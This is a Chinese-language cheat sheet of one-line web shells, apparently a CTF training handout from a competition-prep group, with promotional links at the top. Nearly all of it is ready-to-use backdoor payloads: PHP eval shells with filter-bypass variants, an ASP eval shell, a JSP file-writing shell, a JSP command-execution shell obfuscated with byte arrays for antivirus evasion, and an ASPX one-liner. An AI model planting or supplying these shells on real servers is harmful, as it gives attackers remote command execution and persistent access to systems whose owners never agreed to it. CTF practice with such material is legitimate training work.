一句话木马 cheet-sheet 备忘单
在此之前,欢迎关注波比网络
波比网络 官方公众号:blbinet
波比网络工作室 官方公众号:blbistudio
技能大赛各赛项交流群:https://www.blbi.cn/threads/40/
更多正式赛题源文件访问:https://www.blbi.cn
获取技术支持访问:https://www.blbi.cn/form/1/select
NISP、CIPS、PTE证书可咨询各大群群主
前言
根据每个后端语言的特性,以及编程语言的灵活性,一句话木马并不是仅仅如下所述的一种方
- 还有许多函数的操作手法,所以函数以及方法是可变的
- 那么一句话木马也是可变的
- 在 CTF 中若有正则表达式之类的过滤手法,就需要将自己的一句话木马变换
- 所以重点不在于木马的组成方法,而是自己的思维和渗透手法
简单的一句话木马
<?php @eval($_POST['cmd']);?>
绕过<?
限制的一句话木马
<script language = 'php'>@eval($_POST[cmd]);</script>
绕过<?php ?>
限制的一句话木马
<?= @eval($_POST['cmd']);
asp一句话木马
<%eval(Request.Item["cmd"],”unsafe”);%>
JSP一句话木马
<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream (application.getRealPath("\\")+request.getParameter("f"))).write (request.getParameter("t").getBytes());%>
JSP一句话免杀(ASCLL编码)
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
if(request.getParameter("cmd")!=null){
Class rt = Class.forName(new String(new byte[] { 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 }));
Process e = (Process) rt.getMethod(new String(new byte[] { 101, 120, 101, 99 }), String.class).invoke(rt.getMethod(new String(new byte[] { 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })).invoke(null), request.getParameter("cmd") );
java.io.InputStream in = e.getInputStream();
int a = -1;byte[] b = new byte[2048];out.print("<pre>");
while((a=in.read(b))!=-1){ out.println(new String(b)); }out.print("</pre>");
}
%>
ASPX一句话
<script language="C#"runat="server">WebAdmin2Y.x.y a=new WebAdmin2Y.x.y("add6bb58e139be10")</script>